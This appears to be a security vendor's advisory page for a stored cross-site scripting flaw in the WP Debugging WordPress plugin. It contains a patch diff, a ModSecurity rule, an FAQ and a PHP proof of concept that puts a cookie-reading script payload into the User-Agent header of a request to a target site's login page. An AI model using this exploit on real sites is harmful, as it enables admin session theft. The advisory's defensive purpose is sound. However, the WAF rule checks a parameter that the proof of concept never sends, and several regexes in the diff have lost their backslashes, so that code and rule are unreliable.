-            'reference' => '9333efcbff231f10dfd9c56bb7b65818b4733ca7',
+            'pretty_version' => '3.3.0',
+            'version' => '3.3.0.0',
+            'reference' => '7795ec6fa05663d716a549d0b44e47ffc8b0d4a6',
             'type' => 'phpcodesniffer-standard',
             'install_path' => __DIR__ . '/../wp-coding-standards/wpcs',
             'aliases' => array(),
--- a/wp-debugging/vendor/composer/platform_check.php
+++ b/wp-debugging/vendor/composer/platform_check.php
@@ -4,8 +4,8 @@

 $issues = array();

-if (!(PHP_VERSION_ID >= 50600)) {
-    $issues[] = 'Your Composer dependencies require a PHP version ">= 5.6.0". You are running ' . PHP_VERSION . '.';
+if (!(PHP_VERSION_ID >= 70224)) {
+    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.2.24". You are running ' . PHP_VERSION . '.';
 }

 if ($issues) {
@@ -19,8 +19,7 @@
             echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
         }
     }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
+    throw new RuntimeException(
+        'Composer detected issues in your platform: ' . implode(' ', $issues)
     );
 }
--- a/wp-debugging/vendor/norcross/debug-quick-look/debug-quick-look.php
+++ b/wp-debugging/vendor/norcross/debug-quick-look/debug-quick-look.php
@@ -7,7 +7,7 @@
  * Author URI:          http://andrewnorcross.com
  * Text Domain:         debug-quick-look
  * Domain Path:         /languages
- * Version:             0.1.12
+ * Version:             0.1.14
  * License:             MIT
  * License URI:         https://opensource.org/licenses/MIT
  * GitHub Plugin URI:   https://github.com/norcross/debug-quick-look
@@ -30,7 +30,7 @@
 }

 // Define our version.
-define( __NAMESPACE__ . 'VERS', '0.1.12' );
+define( __NAMESPACE__ . 'VERS', '0.1.14' );

 // Plugin Folder URL.
 define( __NAMESPACE__ . 'URL', plugin_dir_url( __FILE__ ) );
--- a/wp-debugging/vendor/norcross/debug-quick-look/includes/parser.php
+++ b/wp-debugging/vendor/norcross/debug-quick-look/includes/parser.php
@@ -43,8 +43,8 @@
 		// Get our raw file.
 		$raw_debug = file_get_contents( $debug_file );

-		// And die with the raw.
-		wp_die( '<pre class="debug-quick-look-raw">' . $raw_debug . '</pre>', __( 'Viewing Raw Debug', 'debug-quick-look' ) );
+		// And die with the escaped raw.
+		wp_die( '<pre class="debug-quick-look-raw">' . esc_html( $raw_debug ) . '</pre>', __( 'Viewing Raw Debug', 'debug-quick-look' ) );
 	}

 	// Parse it.
@@ -65,7 +65,7 @@
 function parse_debug_file( $logfile = '', $order = 'asc' ) {

 	// Fetch the full lines.
-	$lines = file( $logfile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES );
+	$lines = file( $logfile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ) ?: [];

 	// Run a quick right trim on each line.
 	$lines = array_map( 'rtrim', $lines );
--- a/wp-debugging/vendor/wp-cli/wp-config-transformer/src/WPConfigTransformer.php
+++ b/wp-debugging/vendor/wp-cli/wp-config-transformer/src/WPConfigTransformer.php
@@ -26,7 +26,7 @@
 	/**
 	 * Array of parsed configs.
 	 *
-	 * @var array
+	 * @var array<string, array<string, array{src: string, value: string, parts: array<string>}>>
 	 */
 	protected $wp_configs = array();

@@ -64,7 +64,7 @@
 	 * @return bool
 	 */
 	public function exists( $type, $name ) {
-		$wp_config_src = file_get_contents( $this->wp_config_path );
+		$wp_config_src = (string) file_get_contents( $this->wp_config_path );

 		if ( ! trim( $wp_config_src ) ) {
 			throw new Exception( 'Config file is empty.' );
@@ -92,7 +92,7 @@
 	 * @return string|null
 	 */
 	public function get_value( $type, $name ) {
-		$wp_config_src = file_get_contents( $this->wp_config_path );
+		$wp_config_src = (string) file_get_contents( $this->wp_config_path );

 		if ( ! trim( $wp_config_src ) ) {
 			throw new Exception( 'Config file is empty.' );
@@ -114,12 +114,14 @@
 	 * @throws Exception If the config value provided is not a string.
 	 * @throws Exception If the config placement anchor could not be located.
 	 *
-	 * @param string $type    Config type (constant or variable).
-	 * @param string $name    Config name.
-	 * @param string $value   Config value.
-	 * @param array  $options (optional) Array of special behavior options.
+	 * @param string               $type    Config type (constant or variable).
+	 * @param string               $name    Config name.
+	 * @param string               $value   Config value.
+	 * @param array<string, mixed> $options (optional) Array of special behavior options.
 	 *
 	 * @return bool
+	 *
+	 * @phpstan-param array{raw?: bool, anchor?: string, separator?: string, placement?: 'before'|'after'} $options
 	 */
 	public function add( $type, $name, $value, array $options = array() ) {
 		if ( ! is_string( $value ) ) {
@@ -164,12 +166,14 @@
 	 *
 	 * @throws Exception If the config value provided is not a string.
 	 *
-	 * @param string $type    Config type (constant or variable).
-	 * @param string $name    Config name.
-	 * @param string $value   Config value.
-	 * @param array  $options (optional) Array of special behavior options.
+	 * @param string               $type    Config type (constant or variable).
+	 * @param string               $name    Config name.
+	 * @param string               $value   Config value.
+	 * @param array<string, mixed> $options (optional) Array of special behavior options.
 	 *
 	 * @return bool
+	 *
+	 * @phpstan-param array{raw?: bool, anchor?: string, separator?: string, placement?: 'before'|'after'} $options
 	 */
 	public function update( $type, $name, $value, array $options = array() ) {
 		if ( ! is_string( $value ) ) {
@@ -194,6 +198,10 @@

 		$old_src   = $this->wp_configs[ $type ][ $name ]['src'];
 		$old_value = $this->wp_configs[ $type ][ $name ]['value'];
+
+		/**
+		 * @var string $new_value
+		 */
 		$new_value = $this->format_value( $value, $raw );

 		if ( $normalize ) {
@@ -204,7 +212,7 @@
 			$new_src      = implode( '', $new_parts );
 		}

-		$contents = preg_replace(
+		$contents = (string) preg_replace(
 			sprintf( '/(?<=^|;|<?phps|<?s)(s*?)%s/m', preg_quote( trim( $old_src ), '/' ) ),
 			'$1' . str_replace( '$', '$', trim( $new_src ) ),
 			$this->wp_config_src
@@ -226,8 +234,19 @@
 			return false;
 		}

-		$pattern  = sprintf( '/(?<=^|;|<?phps|<?s)%ss*(S|$)/m', preg_quote( $this->wp_configs[ $type ][ $name ]['src'], '/' ) );
-		$contents = preg_replace( $pattern, '$1', $this->wp_config_src );
+		if ( 'constant' === $type ) {
+			$pattern = sprintf(
+				"/(?:defineds*(s*['"][^'\"]+['"]s*)s*(?:or|||)s*)?bdefines*(s*['"]%s['"]s*,s*(('[^']*'|"[^"]*")|s*(?:[sS]*?))s*)s*;s*/mi",
+				preg_quote( $name, '/' )
+			);
+		} else {
+			$pattern = sprintf(
+				'/^s*$%ss*=s*[sS]*?;s*$/mi',
+				preg_quote( $name, '/' )
+			);
+		}
+
+		$contents = (string) preg_replace( $pattern, '', $this->wp_config_src );

 		return $this->save( $contents );
 	}
@@ -240,7 +259,7 @@
 	 * @param string $value Config value.
 	 * @param bool   $raw   Display value in raw format without quotes.
 	 *
-	 * @return mixed
+	 * @return bool|float|int|string|null
 	 */
 	protected function format_value( $value, $raw ) {
 		if ( $raw && '' === trim( $value ) ) {
@@ -257,7 +276,7 @@
 	 *
 	 * @param string $type  Config type (constant or variable).
 	 * @param string $name  Config name.
-	 * @param mixed  $value Config value.
+	 * @param bool|float|int|string|null $value Config value.
 	 *
 	 * @return string
 	 */
@@ -278,7 +297,7 @@
 	 *
 	 * @param string $src Config file source.
 	 *
-	 * @return array
+	 * @return array<string, array<string, array{src: string, value: string, parts: array<string>}>>
 	 */
 	protected function parse_wp_config( $src ) {
 		$configs             = array();
@@ -291,15 +310,15 @@
 				if ( '//' === $token[1] ) {
 					// For empty line comments, actually remove empty line comments instead of all double-slashes.
 					// See: https://github.com/wp-cli/wp-config-transformer/issues/47
-					$src = preg_replace( '/' . preg_quote( '//', '/' ) . '$/m', '', $src );
+					$src = (string) preg_replace( '/' . preg_quote( '//', '/' ) . '$/m', '', $src );
 				} else {
 					$src = str_replace( $token[1], '', $src );
 				}
 			}
 		}

-		preg_match_all( '/(?<=^|;|<?phps|<?s)(h*defines*(s*['"](w*?)['"]s*)(,s*(''|""|'.*?[^\\]'|".*?[^\\]"|.*?)s*)((?:,s*(?:true|false)s*)?)s*;)/ims', $src, $constants );
-		preg_match_all( '/(?<=^|;|<?phps|<?s)(h*$(w+)s*=)(s*(''|""|'.*?[^\\]'|".*?[^\\]"|.*?)s*;)/ims', $src, $variables );
+		preg_match_all( '/(?<=^|;|<?phps|<?s)(h*(?:defineds*(s*['"][w]+['"]s*)s*(?:or|||)s*)?defines*(s*['"](w*?)['"]s*)(,s*(''|""|'[^'\\]*(?:\\[sS][^'\\]*)*'|"[^"\\]*(?:\\[sS][^"\\]*)*"|[sS]*?)s*,?s*)((?:,s*(?:true|false)[,s]*)?)s*;)/im', $src, $constants );
+		preg_match_all( '/(?<=^|;|<?phps|<?s)(h*$(w+)s*=)(s*(''|""|'[^'\\]*(?:\\[sS][^'\\]*)*'|"[^"\\]*(?:\\[sS][^"\\]*)*"|[sS]*?)s*;)/im', $src, $variables );

 		if ( ! empty( $constants[0] ) && ! empty( $constants[1] ) && ! empty( $constants[2] ) && ! empty( $constants[3] ) && ! empty( $constants[4] ) && ! empty( $constants[5] ) ) {
 			foreach ( $constants[2] as $index => $name ) {
--- a/wp-debugging/wp-debugging.php
+++ b/wp-debugging/wp-debugging.php
@@ -11,7 +11,7 @@
  * Plugin Name:       WP Debugging
  * Plugin URI:        https://github.com/afragen/wp-debugging
  * Description:       A support/troubleshooting plugin for WordPress.
- * Version:           2.12.2
+ * Version:           2.12.3
  * Author:            Andy Fragen
  * License:           MIT
  * Network:           true

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-57350
# This rule blocks attempts to inject HTML/script tags into debug log data streams.
# It matches POST requests with a 'raw_debug' parameter containing script tags.

SecRule REQUEST_URI "@contains /wp-json/" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57350 - WP Debugging XSS via debug log injection',severity:'CRITICAL',tag:'CVE-2026-57350'"
  SecRule ARGS:raw_debug "@rx <script[^>]*>.*</script>" "t:lowercase,t:urlDecode,chain"
    SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57350 - WP Debugging <= 2.12.2 Unauthenticated Stored Cross-Site Scripting

/**
 * This PoC demonstrates how an unauthenticated attacker can inject persistent XSS into
 * the WordPress debug log via a crafted HTTP request, and then have it execute when
 * an admin views the raw debug output through the debug-quick-look plugin.
 */

// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site

// Step 1: Send a crafted request that writes malicious JavaScript to the WordPress debug.log
// The payload will be placed in the User-Agent header, which WordPress logs.
// When the admin views raw debug output, the script executes.

$payload = '<script>alert(document.cookie)</script>';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_USERAGENT, $payload);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Sent request with XSS payload in User-Agent header.n";
echo "[+] HTTP response code: $http_coden";
echo "[+] Payload: $payloadn";
echo "[+] The payload has been written to the debug.log file.n";
echo "[+] When an admin views the raw debug output (e.g., via Admin > Debug Quick Look > View Raw), the XSS will execute.n";

?>

Frequently Asked Questions

What is CVE-2026-57350?
Stored Cross-Site Scripting vulnerability
CVE-2026-57350 is a vulnerability in the WP Debugging plugin for WordPress that allows unauthenticated attackers to inject arbitrary web scripts into pages. This occurs due to insufficient input sanitization and output escaping, enabling the execution of malicious scripts when users access the affected pages.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability allows attackers to send crafted HTTP requests that write malicious JavaScript to the WordPress debug.log file. When an administrator or user views the raw debug output through the plugin, the unsanitized script executes in their browser, potentially compromising their session or account.
Who is affected by this vulnerability?
Identifying at-risk users
Any WordPress site using the WP Debugging plugin version 2.12.2 or earlier is affected by this vulnerability. This includes sites where debug logging is enabled, which is often the case for development or troubleshooting environments.
How can I check if my site is vulnerable?
Steps to identify vulnerability
To check if your site is vulnerable, verify the version of the WP Debugging plugin installed. If it is version 2.12.2 or earlier, and if debug logging is enabled (WP_DEBUG_LOG set to true), your site is at risk.
How can I fix this vulnerability?
Updating the plugin
The vulnerability can be fixed by updating the WP Debugging plugin to version 2.12.3 or later, where the issue has been addressed. Regularly updating all plugins and themes is a best practice to maintain site security.
What does a CVSS score of 7.2 indicate?
Understanding severity ratings
A CVSS score of 7.2 indicates a high severity vulnerability. This means that the risk of exploitation is significant, and it could lead to serious consequences such as account compromise or unauthorized actions on the site.
What are the practical risks of this vulnerability?
Potential impacts of exploitation
If exploited, this vulnerability can lead to full account compromise of administrators, theft of session cookies, and unauthorized actions such as installing malicious plugins or modifying site content. The risk is heightened because it does not require authentication.
What is the proof of concept for this vulnerability?
Demonstrating the exploitation
The proof of concept demonstrates how an attacker can inject a script into the debug log by sending a crafted HTTP request. When an administrator later views the raw debug output, the injected script executes, showcasing the vulnerability’s impact.
What should I do if I cannot update the plugin immediately?
Mitigation strategies
If you cannot update the plugin immediately, consider disabling debug logging in your WordPress configuration by setting WP_DEBUG_LOG to false. This will prevent the logging of potentially malicious data until you can apply the update.
How can I prevent similar vulnerabilities in the future?
Best practices for WordPress security
To prevent similar vulnerabilities, ensure that all plugins and themes are regularly updated, use security plugins that monitor for vulnerabilities, and conduct periodic security audits of your WordPress site. Additionally, limit the use of debug logging in production environments.
Is it safe to use the WP Debugging plugin after the patch?
Assessing post-patch security
Yes, it is safe to use the WP Debugging plugin after updating to version 2.12.3 or later. The patch addresses the stored XSS vulnerability by properly sanitizing output, but always ensure to follow best practices for security.
Where can I find more information about this vulnerability?
Resources for further reading
More information about CVE-2026-57350 can be found on the official CVE database, security advisories from WordPress, and vulnerability analysis reports from security research firms. Staying informed through these resources can help maintain site security.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started